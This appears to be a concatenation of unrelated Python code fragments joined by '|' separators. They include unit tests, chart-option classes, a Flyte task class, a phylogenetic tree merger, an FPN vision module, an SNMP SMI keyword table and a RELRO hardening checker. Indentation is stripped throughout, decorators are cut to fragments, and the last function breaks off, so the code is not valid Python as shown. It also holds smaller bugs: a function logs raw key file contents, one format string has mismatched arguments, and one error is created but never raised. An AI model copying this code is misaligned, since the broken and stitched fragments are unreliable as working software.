class TryConstructEnvelopeTestCase(TestCase):
('builtins.input', return_value='Inputed value')
def test__try_construct_envelope_positive(self, *mocks):
dialogues_mock = mock.Mock()
msg_mock = mock.Mock(spec=DefaultMessage)
msg_mock.to = 'to'
msg_mock.sender = 'sender'
dialogues_mock.create.return_value = (msg_mock, None)
message_class = mock.Mock()
envelope = _try_construct_envelope('agent_name', dialogues_mock, message_class)
self.assertIsInstance(envelope, Envelope)
('builtins.input', return_value='')
def test__try_construct_envelope_positive_no_input_message(self, *mocks):
envelope = _try_construct_envelope('agent_name', 'dialogues', 'message_class')
self.assertEqual(envelope, None)
('builtins.input', _raise_keyboard_interrupt)
def test__try_construct_envelope_keyboard_interrupt(self, *mocks):
with self.assertRaises(KeyboardInterrupt):
_try_construct_envelope('agent_name', 'dialogues', mock.Mock())
('builtins.input', _raise_exception)
def test__try_construct_envelope_exception_raised(self, *mocks):
envelope = _try_construct_envelope('agent_name', 'dialogues', 'message_class')
self.assertEqual(envelope, None) |
class OptionSeriesDumbbellData(Options):
def accessibility(self) -> 'OptionSeriesDumbbellDataAccessibility':
return self._config_sub_data('accessibility', OptionSeriesDumbbellDataAccessibility)
def className(self):
return self._config_get(None)
def className(self, text: str):
self._config(text, js_type=False)
def color(self):
return self._config_get(None)
def color(self, text: str):
self._config(text, js_type=False)
def colorIndex(self):
return self._config_get(None)
def colorIndex(self, num: float):
self._config(num, js_type=False)
def connectorColor(self):
return self._config_get(None)
def connectorColor(self, text: str):
self._config(text, js_type=False)
def connectorWidth(self):
return self._config_get(1)
def connectorWidth(self, num: float):
self._config(num, js_type=False)
def custom(self):
return self._config_get(None)
def custom(self, value: Any):
self._config(value, js_type=False)
def dataLabels(self) -> 'OptionSeriesDumbbellDataDatalabels':
return self._config_sub_data('dataLabels', OptionSeriesDumbbellDataDatalabels)
def description(self):
return self._config_get(None)
def description(self, text: str):
self._config(text, js_type=False)
def dragDrop(self) -> 'OptionSeriesDumbbellDataDragdrop':
return self._config_sub_data('dragDrop', OptionSeriesDumbbellDataDragdrop)
def drilldown(self):
return self._config_get(None)
def drilldown(self, text: str):
self._config(text, js_type=False)
def events(self) -> 'OptionSeriesDumbbellDataEvents':
return self._config_sub_data('events', OptionSeriesDumbbellDataEvents)
def high(self):
return self._config_get(None)
def high(self, num: float):
self._config(num, js_type=False)
def id(self):
return self._config_get(None)
def id(self, text: str):
self._config(text, js_type=False)
def labelrank(self):
return self._config_get(None)
def labelrank(self, num: float):
self._config(num, js_type=False)
def low(self):
return self._config_get(None)
def low(self, num: float):
self._config(num, js_type=False)
def lowColor(self):
return self._config_get('#333333')
def lowColor(self, text: str):
self._config(text, js_type=False)
def name(self):
return self._config_get(None)
def name(self, text: str):
self._config(text, js_type=False)
def selected(self):
return self._config_get(False)
def selected(self, flag: bool):
self._config(flag, js_type=False)
def x(self):
return self._config_get(None)
def x(self, num: float):
self._config(num, js_type=False) |
def get_key_strings(path):
try:
with open((path + '/key_file'), 'r') as key_file:
key_strings = json.loads(key_file.read())
except IOError:
logging.info('key string file not found')
return None
logging.info('key: {}'.format(repr(key_strings)))
return key_strings |
def subaward_data(db):
baker.make('references.DisasterEmergencyFundCode', code='A', public_law='PUBLIC LAW FOR CODE A', earliest_public_law_enactment_date=None)
baker.make('references.DisasterEmergencyFundCode', code='L', public_law='PUBLIC LAW FOR CODE L', earliest_public_law_enactment_date='2020-03-06')
baker.make('references.DisasterEmergencyFundCode', code='Z', public_law='PUBLIC LAW FOR CODE Z', earliest_public_law_enactment_date='2021-11-15')
award_search1 = baker.make('search.AwardSearch', award_id=111, generated_unique_award_id='UNIQUE_AWARD_ID_1', disaster_emergency_fund_codes=['A'])
award_search2 = baker.make('search.AwardSearch', award_id=222, generated_unique_award_id='UNIQUE_AWARD_ID_2', disaster_emergency_fund_codes=['A', 'L'])
award_search3 = baker.make('search.AwardSearch', award_id=333, generated_unique_award_id='UNIQUE_AWARD_ID_3', disaster_emergency_fund_codes=['Z'])
baker.make('search.SubawardSearch', broker_subaward_id=1, sub_awardee_or_recipient_uniqu='', sub_ultimate_parent_unique_ide='', sub_awardee_or_recipient_uei='AAAAAAAAAAAA', sub_ultimate_parent_uei='AAAAAAAAAAA0', award=award_search1, sub_action_date='2018-01-01')
baker.make('search.SubawardSearch', broker_subaward_id=2, sub_awardee_or_recipient_uniqu='', sub_ultimate_parent_unique_ide='', sub_awardee_or_recipient_uei='BBBBBBBBBBBB', sub_ultimate_parent_uei='BBBBBBBBBBB0', award=award_search2, sub_action_date='2020-04-01')
baker.make('search.SubawardSearch', broker_subaward_id=3, sub_awardee_or_recipient_uniqu='', sub_ultimate_parent_unique_ide='', sub_awardee_or_recipient_uei='CCCCCCCCCCCC', sub_ultimate_parent_uei='CCCCCCCCCCC0', award=award_search3, sub_action_date='2022-01-01')
baker.make('search.SubawardSearch', broker_subaward_id=4, sub_awardee_or_recipient_uniqu='', sub_ultimate_parent_unique_ide='', sub_awardee_or_recipient_uei='CCCCCCCCCCCC', sub_ultimate_parent_uei='CCCCCCCCCCC0', award=award_search3, sub_action_date='2020-01-01') |
(name='api.vm.backup.tasks.vm_backup_beat')
def vm_backup_beat(bkp_define_id):
from api.vm.backup.views import vm_backup
bkp_define = BackupDefine.objects.get(id=bkp_define_id)
vm = bkp_define.vm
disk_id = bkp_define.array_disk_id
defname = bkp_define.name
request = get_dummy_request(vm.dc, method='POST', system_user=True)
request.define_id = bkp_define.id
res = call_api_view(request, 'POST', vm_backup, vm.hostname, defname, data={'disk_id': disk_id, 'fsfreeze': bkp_define.fsfreeze})
if (res.status_code == 201):
logger.info('POST vm_backup(%s, %s, {disk_id=%s}) was successful: %s', vm, defname, disk_id, res.data)
else:
detail = ('hostname=%s, bkpname=%s, disk_id=%s, Error: %s' % (vm.hostname, bkp_define.generate_backup_name(), disk_id, get_task_error_message(res.data)))
task_log_error(task_id_from_task_id(vm_backup_beat.request.id, dc_id=vm.dc.id), LOG_BKP_CREATE, vm=vm, detail=detail, update_user_tasks=False)
if (res.status_code == HTTP_423_LOCKED):
logger.warning('Running POST vm_backup(%s, %s, {disk_id=%s}) failed: %s (%s): %s', vm, defname, disk_id, res.status_code, res.status_text, res.data)
else:
logger.error('Running POST vm_backup(%s, %s, {disk_id=%s}) failed: %s (%s): %s', vm, defname, disk_id, res.status_code, res.status_text, res.data)
MonitoringBackend.vm_send_alert(vm, ('Automatic backup %s/disk-%%s failed to start.' % (vm.hostname, disk_id, defname))) |
class PythonTask(TrackedInstance, Task, Generic[T]):
def __init__(self, task_type: str, name: str, task_config: Optional[T], interface: Optional[Interface]=None, environment: Optional[Dict[(str, str)]]=None, disable_deck: Optional[bool]=None, enable_deck: Optional[bool]=None, **kwargs):
super().__init__(task_type=task_type, name=name, interface=transform_interface_to_typed_interface(interface), **kwargs)
self._python_interface = (interface if interface else Interface())
self._environment = (environment if environment else {})
self._task_config = task_config
if (disable_deck is not None):
warnings.warn('disable_deck was deprecated in 1.10.0, please use enable_deck instead', FutureWarning)
if ((disable_deck is not None) and (enable_deck is not None)):
raise ValueError('disable_deck and enable_deck cannot both be set at the same time')
if (enable_deck is not None):
self._disable_deck = (not enable_deck)
elif (disable_deck is not None):
self._disable_deck = disable_deck
else:
self._disable_deck = True
if self._python_interface.docstring:
if (self.docs is None):
self._docs = Documentation(short_description=self._python_interface.docstring.short_description, long_description=Description(value=self._python_interface.docstring.long_description))
else:
if self._python_interface.docstring.short_description:
cast(Documentation, self._docs).short_description = self._python_interface.docstring.short_description
if self._python_interface.docstring.long_description:
cast(Documentation, self._docs).long_description = Description(value=self._python_interface.docstring.long_description)
def python_interface(self) -> Interface:
return self._python_interface
def task_config(self) -> Optional[T]:
return self._task_config
def get_type_for_input_var(self, k: str, v: Any) -> Type[Any]:
return self._python_interface.inputs[k]
def get_type_for_output_var(self, k: str, v: Any) -> Type[Any]:
return self._python_interface.outputs[k]
def get_input_types(self) -> Dict[(str, type)]:
return self._python_interface.inputs
def construct_node_metadata(self) -> _workflow_model.NodeMetadata:
return _workflow_model.NodeMetadata(name=extract_obj_name(self.name), timeout=self.metadata.timeout, retries=self.metadata.retry_strategy, interruptible=self.metadata.interruptible)
def compile(self, ctx: FlyteContext, *args, **kwargs) -> Optional[Union[(Tuple[Promise], Promise, VoidPromise)]]:
return create_and_link_node(ctx, entity=self, **kwargs)
def _outputs_interface(self) -> Dict[(Any, Variable)]:
return self.interface.outputs
def _output_to_literal_map(self, native_outputs, exec_ctx):
expected_output_names = list(self._outputs_interface.keys())
if (len(expected_output_names) == 1):
if (self.python_interface.output_tuple_name and isinstance(native_outputs, tuple)):
native_outputs_as_map = {expected_output_names[0]: native_outputs[0]}
else:
native_outputs_as_map = {expected_output_names[0]: native_outputs}
elif (len(expected_output_names) == 0):
native_outputs_as_map = {}
else:
native_outputs_as_map = {expected_output_names[i]: native_outputs[i] for (i, _) in enumerate(native_outputs)}
with timeit('Translate the output to literals'):
literals = {}
for (i, (k, v)) in enumerate(native_outputs_as_map.items()):
literal_type = self._outputs_interface[k].type
py_type = self.get_type_for_output_var(k, v)
if isinstance(v, tuple):
raise TypeError(f"Output({k}) in task '{self.name}' received a tuple {v}, instead of {py_type}")
try:
literals[k] = TypeEngine.to_literal(exec_ctx, v, py_type, literal_type)
except Exception as e:
key = (k if (k != f'o{i}') else i)
msg = f'''Failed to convert outputs of task '{self.name}' at position {key}:
{e}'''
logger.error(msg)
raise TypeError(msg) from e
return (_literal_models.LiteralMap(literals=literals), native_outputs_as_map)
def _write_decks(self, native_inputs, native_outputs_as_map, ctx, new_user_params):
if (self._disable_deck is False):
from flytekit.deck.deck import Deck, _output_deck
INPUT = 'input'
OUTPUT = 'output'
input_deck = Deck(INPUT)
for (k, v) in native_inputs.items():
input_deck.append(TypeEngine.to_html(ctx, v, self.get_type_for_input_var(k, v)))
output_deck = Deck(OUTPUT)
for (k, v) in native_outputs_as_map.items():
output_deck.append(TypeEngine.to_html(ctx, v, self.get_type_for_output_var(k, v)))
if (ctx.execution_state and ctx.execution_state.is_local_execution()):
_output_deck(self.name.split('.')[(- 1)], new_user_params)
async def _async_execute(self, native_inputs, native_outputs, ctx, exec_ctx, new_user_params):
native_outputs = (await native_outputs)
native_outputs = self.post_execute(new_user_params, native_outputs)
(literals_map, native_outputs_as_map) = self._output_to_literal_map(native_outputs, exec_ctx)
self._write_decks(native_inputs, native_outputs_as_map, ctx, new_user_params)
return literals_map
def dispatch_execute(self, ctx: FlyteContext, input_literal_map: _literal_models.LiteralMap) -> Union[(_literal_models.LiteralMap, _dynamic_job.DynamicJobSpec, Coroutine)]:
new_user_params = self.pre_execute(ctx.user_space_params)
with FlyteContextManager.with_context(ctx.with_execution_state(cast(ExecutionState, ctx.execution_state).with_params(user_space_params=new_user_params))) as exec_ctx:
try:
native_inputs = TypeEngine.literal_map_to_kwargs(exec_ctx, input_literal_map, self.python_interface.inputs)
except Exception as exc:
msg = f'''Failed to convert inputs of task '{self.name}':
{exc}'''
logger.error(msg)
raise type(exc)(msg) from exc
logger.info(f'Invoking {self.name} with inputs: {native_inputs}')
try:
with timeit('Execute user level code'):
native_outputs = self.execute(**native_inputs)
except Exception as e:
logger.exception(f'Exception when executing {e}')
raise e
if inspect.iscoroutine(native_outputs):
if exec_ctx.execution_state:
if (exec_ctx.execution_state.mode == ExecutionState.Mode.LOCAL_TASK_EXECUTION):
return native_outputs
elif (exec_ctx.execution_state.mode == ExecutionState.Mode.LOCAL_WORKFLOW_EXECUTION):
return asyncio.run(self._async_execute(native_inputs, native_outputs, ctx, exec_ctx, new_user_params))
return self._async_execute(native_inputs, native_outputs, ctx, exec_ctx, new_user_params)
logger.debug('Task executed successfully in user level')
native_outputs = self.post_execute(new_user_params, native_outputs)
if isinstance(native_outputs, (_literal_models.LiteralMap, _dynamic_job.DynamicJobSpec)):
return native_outputs
(literals_map, native_outputs_as_map) = self._output_to_literal_map(native_outputs, exec_ctx)
self._write_decks(native_inputs, native_outputs_as_map, ctx, new_user_params)
return literals_map
def pre_execute(self, user_params: Optional[ExecutionParameters]) -> Optional[ExecutionParameters]:
return user_params
def execute(self, **kwargs) -> Any:
pass
def post_execute(self, user_params: Optional[ExecutionParameters], rval: Any) -> Any:
return rval
def environment(self) -> Dict[(str, str)]:
return self._environment
def disable_deck(self) -> bool:
return self._disable_deck |
def extractOrientalrabbitWordpressCom(item):
(vol, chp, frag, postfix) = extractVolChapterFragmentPostfix(item['title'])
if ((not (chp or vol)) or ('preview' in item['title'].lower())):
return None
tagmap = [('tmrw', 'How Many Tomorrows There Are', 'translated'), ('scgl', 'Side Character Survival Guidelines', 'translated'), ('wlwm', 'A White Lotus Host Who Does Not Want To Be a White Moonlight Is Not a Good Host', 'translated'), ('ralp', 'I Ran Away after I was Forced into a Love Polygon', 'translated'), ('PRC', 'PRC', 'translated'), ('Loiterous', 'Loiterous', 'oel')]
for (tagname, name, tl_type) in tagmap:
if (tagname in item['tags']):
return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
return False |
def test_adding_persistence():
config = '\npersistence:\n enabled: true\n'
r = helm_template(config)
c = r['statefulset'][name]['spec']['template']['spec']['containers'][0]
assert (c['volumeMounts'][0]['mountPath'] == '/usr/share/logstash/data')
assert (c['volumeMounts'][0]['name'] == name)
v = r['statefulset'][name]['spec']['volumeClaimTemplates'][0]
assert (v['metadata']['name'] == name)
assert (v['spec']['accessModes'] == ['ReadWriteOnce'])
assert (v['spec']['resources']['requests']['storage'] == '1Gi') |
class CommandLogger(PacketLogger):
def __init__(self):
PacketLogger.__init__(self, command_rx_description(32), CommandRXPacket)
self.first = True
def generator(self):
while True:
(yield self.sink.ready.eq(1))
if ((yield self.sink.valid) and self.first):
self.packet = CommandRXPacket()
self.packet.write = (yield self.sink.write)
self.packet.read = (yield self.sink.read)
self.packet.failed = (yield self.sink.failed)
self.packet.append((yield self.sink.data))
self.first = False
elif (yield self.sink.valid):
self.packet.append((yield self.sink.data))
if ((yield self.sink.valid) and (yield self.sink.last)):
self.packet.done = True
self.first = True
(yield) |
class TestProPhotoRGBProperties(util.ColorAsserts, unittest.TestCase):
def test_red(self):
c = Color('color(prophoto-rgb 0.1 0.2 0.3 / 1)')
self.assertEqual(c['red'], 0.1)
c['red'] = 0.2
self.assertEqual(c['red'], 0.2)
def test_green(self):
c = Color('color(prophoto-rgb 0.1 0.2 0.3 / 1)')
self.assertEqual(c['green'], 0.2)
c['green'] = 0.1
self.assertEqual(c['green'], 0.1)
def test_blue(self):
c = Color('color(prophoto-rgb 0.1 0.2 0.3 / 1)')
self.assertEqual(c['blue'], 0.3)
c['blue'] = 0.1
self.assertEqual(c['blue'], 0.1)
def test_alpha(self):
c = Color('color(prophoto-rgb 0.1 0.2 0.3 / 1)')
self.assertEqual(c['alpha'], 1)
c['alpha'] = 0.5
self.assertEqual(c['alpha'], 0.5) |
def graph_data(paths):
for data in extract_data(paths):
env = data['env']
seeds = data['seeds']
pfbs = [pfb_x_mean, _, _, pfb_y_mean, pfb_y_low, pfb_y_high] = [[] for _ in range(6)]
sbs = [sb_x_mean, _, _, sb_y_mean, sb_y_low, sb_y_high] = [[] for _ in range(6)]
for (i, data_type) in enumerate(['x_mean', 'x_low', 'x_high', 'y_mean', 'y_low', 'y_high']):
pfbs[i] = data['ppo_for_beginners'][data_type]
sbs[i] = data['stable_baselines'][data_type]
(pfb_x_mean, _, _, pfb_y_mean, pfb_y_low, pfb_y_high) = pfbs
(sb_x_mean, _, _, sb_y_mean, sb_y_low, sb_y_high) = sbs
if (env == 'MountainCarContinuous-v0'):
plt.ylim([(- 70), 100])
plt.plot(sb_x_mean, sb_y_mean, 'b', alpha=0.8)
plt.plot(pfb_x_mean, pfb_y_mean, 'g', alpha=0.8)
plt.fill_between(sb_x_mean, sb_y_low, sb_y_high, color='b', alpha=0.3)
plt.fill_between(pfb_x_mean, pfb_y_low, pfb_y_high, color='g', alpha=0.3)
plt.title(f'{env} on Random Seeds {seeds}')
plt.xlabel('Average Total Timesteps So Far')
plt.ylabel('Average Episodic Return')
plt.legend(['Stable Baselines PPO2', 'PPO for Beginners'])
plt.show() |
def set_current_title(new_title):
assert isinstance(new_title, str)
tmp = ''
mode = 'searching for changelog'
with open('CHANGELOG.md', 'r') as fd:
for raw_line in fd:
if (mode == 'searching for changelog'):
if raw_line.startswith('## Changelog'):
mode = 'searching for first entry'
elif (mode == 'searching for first entry'):
if raw_line.startswith('### '):
raw_line = ('### %s\n' % new_title)
mode = 'done'
else:
pass
tmp += raw_line
with open('CHANGELOG.md', 'w') as fd:
fd.write(tmp) |
class TreeMerger(TreeMergeTask):
def __init__(self, nodeid, seqtype, task_tree, conf, confname):
self.confname = confname
self.conf = conf
self.task_tree_file = task_tree
TreeMergeTask.__init__(self, nodeid, 'treemerger', 'TreeMerger', None, self.conf[self.confname])
self.main_tree = None
self.task_tree = None
self.seqtype = seqtype
self.rf = (None, None)
self.outgroup_match_dist = 0.0
self.outgroup_match = ''
self.pre_iter_support = None
self.init()
def finish(self):
def euc_dist(x, y):
return (len(x.symmetric_difference(y)) / float((len(x) + len(y))))
dataid = db.get_dataid(*self.task_tree_file.split('.'))
ttree = PhyloTree(db.get_data(dataid))
mtree = self.main_tree
ttree.dist = 0
(cladeid, target_seqs, out_seqs) = db.get_node_info(self.threadid, self.nodeid)
self.out_seqs = out_seqs
self.target_seqs = target_seqs
ttree_content = ttree.get_cached_content()
if (mtree and (not out_seqs)):
mtree_content = mtree.get_cached_content()
log.log(24, 'Finding best scoring outgroup from previous iteration.')
for _n in mtree_content:
if (_n.cladeid == cladeid):
orig_target = _n
target_left = set([_n.name for _n in mtree_content[orig_target.children[0]]])
target_right = set([_n.name for _n in mtree_content[orig_target.children[1]]])
partition_pairs = []
everything = set([_n.name for _n in ttree_content[ttree]])
for (n, content) in ttree_content.items():
if (n is ttree):
continue
left = set([_n.name for _n in content])
right = (everything - left)
d1 = euc_dist(left, target_left)
d2 = euc_dist(left, target_right)
best_match = min(d1, d2)
partition_pairs.append([best_match, left, right, n])
partition_pairs.sort()
self.outgroup_match_dist = partition_pairs[0][0]
outgroup = partition_pairs[0][3]
ttree.set_outgroup(outgroup)
ttree.dist = orig_target.dist
ttree.support = orig_target.support
parent = orig_target.up
orig_target.detach()
parent.add_child(ttree)
elif (mtree and out_seqs):
log.log(26, ('Rooting tree using %d custom seqs' % len(out_seqs)))
self.outgroup_match = '|'.join(out_seqs)
if (len(out_seqs) > 1):
ttree.set_outgroup((ttree & list(target_seqs)[0]))
outgroup = ttree.get_common_ancestor(out_seqs)
if (set(outgroup.get_leaf_names()) ^ out_seqs):
msg = 'Monophyly of the selected outgroup could not be granted! Probably constrain tree failed.'
raise TaskError(self, msg)
else:
outgroup = (ttree & list(out_seqs)[0])
ttree.set_outgroup(outgroup)
orig_target = self.main_tree.get_common_ancestor(target_seqs)
found_target = outgroup.get_sisters()[0]
ttree = ttree.get_common_ancestor(target_seqs)
outgroup.detach()
self.pre_iter_support = orig_target.support
ttree.dist = orig_target.dist
ttree.support = orig_target.support
parent = orig_target.up
orig_target.detach()
parent.add_child(ttree)
else:
log.log(24, 'Getting outgroup for first NPR split')
mainout = GLOBALS.get('first_split_outgroup', 'midpoint')
if (mainout.lower() == 'midpoint'):
log.log(26, 'Rooting to midpoint.')
best_outgroup = ttree.get_midpoint_outgroup()
if best_outgroup:
ttree.set_outgroup(best_outgroup)
else:
log.warning('Midpoint outgroup could not be set!')
ttree.set_outgroup(next(ttree.iter_leaves()))
else:
if mainout.startswith('~'):
strict_common_ancestor = False
outs = set(mainout[1:].split())
if (len(outs) < 2):
raise TaskError(self, 'First split outgroup error: common ancestor calculation requires at least two OTU names')
else:
strict_common_ancestor = True
outs = set(mainout.split())
if (outs - target_seqs):
raise TaskError(self, ('Unknown seqs cannot be used to set first split rooting:%s' % (outs - target_seqs)))
if (len(outs) > 1):
anchor = list((set(target_seqs) - outs))[0]
ttree.set_outgroup((ttree & anchor))
common = ttree.get_common_ancestor(outs)
out_seqs = common.get_leaf_names()
if (common is ttree):
msg = ('First split outgroup could not be granted:%s' % out_seqs)
raise TaskError(self, msg)
if (strict_common_ancestor and (set(out_seqs) ^ outs)):
msg = ('Monophyly of first split outgroup could not be granted:%s' % out_seqs)
raise TaskError(self, msg)
log.log(26, (':First split rooting to %d :: %s' % (len(out_seqs), out_seqs)))
ttree.set_outgroup(common)
else:
single_out = outs.pop()
common = ttree.set_outgroup(single_out)
log.log(26, (':First split rooting to 1 :: %s' % single_out))
self.main_tree = ttree
orig_target = ttree
tn = orig_target.copy()
self.pre_iter_task_tree = tn
self.rf = orig_target.robinson_foulds(ttree)
self.pre_iter_support = orig_target.support
ttree_content = self.main_tree.get_cached_content()
for (n, content) in ttree_content.items():
cid = generate_id([_n.name for _n in content])
n.add_property('cladeid', cid)
self.task_tree = ttree |
def check_relro(file_path, mitigations, summary, checksec_result):
if (checksec_result['relro'] == 'full'):
summary.update({'RELRO fully enabled': file_path})
mitigations.update({'RELRO': 'fully enabled'})
elif (checksec_result['relro'] == 'partial'):
summary.update({'RELRO partially enabled': file_path})
mitigations.update({'RELRO': 'partially enabled'})
elif (checksec_result['relro'] == 'no'):
summary.update({'RELRO disabled': file_path})
mitigations.update({'RELRO': 'disabled'}) |
def test_reset_singletons_context_manager():
class Item():
def __init__(self, dependency):
self.dependency = dependency
class Container(containers.DeclarativeContainer):
dependent = providers.Singleton(object)
singleton = providers.Singleton(Item, dependency=dependent)
container = Container()
instance1 = container.singleton()
with container.reset_singletons():
instance2 = container.singleton()
instance3 = container.singleton()
assert (len({instance1, instance2, instance3}) == 3)
assert (len({instance1.dependency, instance2.dependency, instance3.dependency}) == 3) |
class FPN(nn.Module):
def __init__(self, bottom_up, in_features, out_channels, norm='', top_block=None, fuse_type='sum', square_pad=0):
super().__init__()
assert in_features, in_features
input_shapes = bottom_up.output_shape()
strides = [input_shapes[f].stride for f in in_features]
in_channels_per_feature = [input_shapes[f].channels for f in in_features]
_assert_strides_are_log2_contiguous(strides)
lateral_convs = []
output_convs = []
for (idx, in_channels) in enumerate(in_channels_per_feature):
lateral_conv = nn.Conv2dBias(in_channels, out_channels, kernel_size=1, stride=1, padding=0)
output_conv = nn.Conv2dBias(out_channels, out_channels, kernel_size=3, stride=1, padding=1)
stage = int(math.log2(strides[idx]))
self.add_module('fpn_lateral{}'.format(stage), lateral_conv)
self.add_module('fpn_output{}'.format(stage), output_conv)
lateral_convs.append(lateral_conv)
output_convs.append(output_conv)
self.lateral_convs = lateral_convs[::(- 1)]
self.output_convs = output_convs[::(- 1)]
self.top_block = top_block
self.in_features = tuple(in_features)
self.bottom_up = bottom_up
self._out_feature_strides = {'p{}'.format(int(math.log2(s))): s for s in strides}
if (self.top_block is not None):
for s in range(stage, (stage + self.top_block.num_levels)):
self._out_feature_strides['p{}'.format((s + 1))] = (2 ** (s + 1))
self._out_features = list(self._out_feature_strides.keys())
self._out_feature_channels = {k: out_channels for k in self._out_features}
self._size_divisibility = strides[(- 1)]
self._square_pad = square_pad
assert (fuse_type in {'avg', 'sum'})
self._fuse_type = fuse_type
def size_divisibility(self):
return self._size_divisibility
def padding_constraints(self):
return {'square_size': self._square_pad}
def forward(self, x):
bottom_up_features = self.bottom_up(x)
results = []
prev_features = self.lateral_convs[0](bottom_up_features[self.in_features[(- 1)]])
results.append(self.output_convs[0](prev_features))
for (idx, (lateral_conv, output_conv)) in enumerate(zip(self.lateral_convs, self.output_convs)):
if (idx > 0):
features = self.in_features[((- idx) - 1)]
features = bottom_up_features[features]
lateral_features = lateral_conv(features)
interpolate_op = ops.upsampling2d_add(scale_factor=2.0, mode='nearest')
prev_features = interpolate_op(prev_features, lateral_features)
if (self._fuse_type == 'avg'):
prev_features /= 2
results.insert(0, output_conv(prev_features))
if (self.top_block is not None):
if (self.top_block.in_feature in bottom_up_features):
top_block_in_feature = bottom_up_features[self.top_block.in_feature]
else:
top_block_in_feature = results[self._out_features.index(self.top_block.in_feature)]
results.extend(self.top_block(top_block_in_feature))
assert (len(self._out_features) == len(results))
return {f: res for (f, res) in zip(self._out_features, results)}
def output_shape(self):
return {name: ShapeSpec(channels=self._out_feature_channels[name], stride=self._out_feature_strides[name]) for name in self._out_features} |
class TaskItem(QtGui.QStandardItem):
def __init__(self, task=None, *args, **kwargs):
super(TaskItem, self).__init__(*args, **kwargs)
self._task = None
self.task = task
def task(self):
return self._task
def task(self, task):
if (task is None):
RuntimeError('Not a task given.')
else:
self._task = task
self.setData(get_task_hierarchy_name(task), QtCore.Qt.ItemDataRole.DisplayRole) |
class SupportSmiV1Keywords(object):
def reserved():
reserved_words = ['ACCESS', 'AGENT-CAPABILITIES', 'APPLICATION', 'AUGMENTS', 'BEGIN', 'BITS', 'CONTACT-INFO', 'CREATION-REQUIRES', 'Counter', 'Counter32', 'Counter64', 'DEFINITIONS', 'DEFVAL', 'DESCRIPTION', 'DISPLAY-HINT', 'END', 'ENTERPRISE', 'EXTENDS', 'FROM', 'GROUP', 'Gauge', 'Gauge32', 'IDENTIFIER', 'IMPLICIT', 'IMPLIED', 'IMPORTS', 'INCLUDES', 'INDEX', 'INSTALL-ERRORS', 'INTEGER', 'Integer32', 'IpAddress', 'LAST-UPDATED', 'MANDATORY-GROUPS', 'MAX-ACCESS', 'MIN-ACCESS', 'MODULE', 'MODULE-COMPLIANCE', 'MAX', 'MODULE-IDENTITY', 'NetworkAddress', 'NOTIFICATION-GROUP', 'NOTIFICATION-TYPE', 'NOTIFICATIONS', 'OBJECT', 'OBJECT-GROUP', 'OBJECT-IDENTITY', 'OBJECT-TYPE', 'OBJECTS', 'OCTET', 'OF', 'ORGANIZATION', 'Opaque', 'PIB-ACCESS', 'PIB-DEFINITIONS', 'PIB-INDEX', 'PIB-MIN-ACCESS', 'PIB-REFERENCES', 'PIB-TAG', 'POLICY-ACCESS', 'PRODUCT-RELEASE', 'REFERENCE', 'REVISION', 'SEQUENCE', 'SIZE', 'STATUS', 'STRING', 'SUBJECT-CATEGORIES', 'SUPPORTS', 'SYNTAX', 'TEXTUAL-CONVENTION', 'TimeTicks', 'TRAP-TYPE', 'UNIQUENESS', 'UNITS', 'UNIVERSAL', 'Unsigned32', 'VALUE', 'VARIABLES', 'VARIATION', 'WRITE-SYNTAX']
reserved = {}
for w in reserved_words:
reserved[w] = w.replace('-', '_').upper()
if (w == 'Counter'):
reserved[w] = 'COUNTER32'
elif (w == 'Gauge'):
reserved[w] = 'GAUGE32'
return reserved
def forbidden_words():
return ['ABSENT', 'ANY', 'BIT', 'BOOLEAN', 'BY', 'COMPONENT', 'COMPONENTS', 'DEFAULT', 'DEFINED', 'ENUMERATED', 'EXPLICIT', 'EXTERNAL', 'FALSE', 'MIN', 'MINUS-INFINITY', 'NULL', 'OPTIONAL', 'PLUS-INFINITY', 'PRESENT', 'PRIVATE', 'REAL', 'SET', 'TAGS', 'TRUE', 'WITH']
def tokens():
tokens = ['BIN_STRING', 'CHOICE', 'COLON_COLON_EQUAL', 'DOT_DOT', 'EXPORTS', 'HEX_STRING', 'LOWERCASE_IDENTIFIER', 'MACRO', 'NEGATIVENUMBER', 'NEGATIVENUMBER64', 'NUMBER', 'NUMBER64', 'QUOTED_STRING', 'UPPERCASE_IDENTIFIER']
tokens += list(SupportSmiV1Keywords.reserved().values())
return list(set(tokens)) |
def test_obstructed_circular_aperture():
pupil_diameter = 1
for central_obscuration_ratio in [0.1, 0.3]:
for num_spiders in [3, 5]:
for spider_width in [0.01, 0.03]:
name = 'obstructed_circular/pupil'
name += ('_small_obscuration' if (central_obscuration_ratio < 0.2) else '_large_obscuration')
name += f'_{num_spiders}spiders'
name += ('_thinspiders' if (spider_width < 0.02) else '_thickspiders')
check_aperture(make_obstructed_circular_aperture, pupil_diameter, name, pupil_diameter=pupil_diameter, central_obscuration_ratio=central_obscuration_ratio, num_spiders=num_spiders, spider_width=spider_width) |
.parametrize('manifest,expected', (({}, {'contractTypes': WARNINGS['contract_type_missing']}), ({'contractTypes': {}}, {'contractTypes': WARNINGS['contract_type_missing']}), ({'contractTypes': {'x': {'runtimeBytecode': {'invalid': 'invalid'}}}}, {'contractTypes': {'x': {'abi': WARNINGS['abi_missing'].format('x'), 'contractType': WARNINGS['contract_type_subfield_missing'].format('x'), 'deploymentBytecode': WARNINGS['deployment_bytecode_missing'].format('x'), 'runtimeBytecode': WARNINGS['bytecode_subfield_missing'].format('x', 'runtime'), 'devdoc': WARNINGS['devdoc_missing'].format('x'), 'userdoc': WARNINGS['userdoc_missing'].format('x')}}}), ({'contractTypes': {'x': {'deploymentBytecode': [], 'runtimeBytecode': {'bytecode': []}}, 'y': {'abi': [1], 'deploymentBytecode': [], 'runtimeBytecode': []}}}, {'contractTypes': {'x': {'abi': WARNINGS['abi_missing'].format('x'), 'contractType': WARNINGS['contract_type_subfield_missing'].format('x'), 'deploymentBytecode': WARNINGS['deployment_bytecode_missing'].format('x'), 'runtimeBytecode': WARNINGS['bytecode_subfield_missing'].format('x', 'runtime'), 'devdoc': WARNINGS['devdoc_missing'].format('x'), 'userdoc': WARNINGS['userdoc_missing'].format('x')}, 'y': {'contractType': WARNINGS['contract_type_subfield_missing'].format('y'), 'deploymentBytecode': WARNINGS['deployment_bytecode_missing'].format('y'), 'runtimeBytecode': WARNINGS['runtime_bytecode_missing'].format('y'), 'devdoc': WARNINGS['devdoc_missing'].format('y'), 'userdoc': WARNINGS['userdoc_missing'].format('y')}}})))
def test_check_contract_types(manifest, expected):
warnings = check_contract_types(manifest, {})
assert (warnings == expected) |
def test_3x3_cube(verbose=0):
xmf_base = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'hex_cube_3x3')
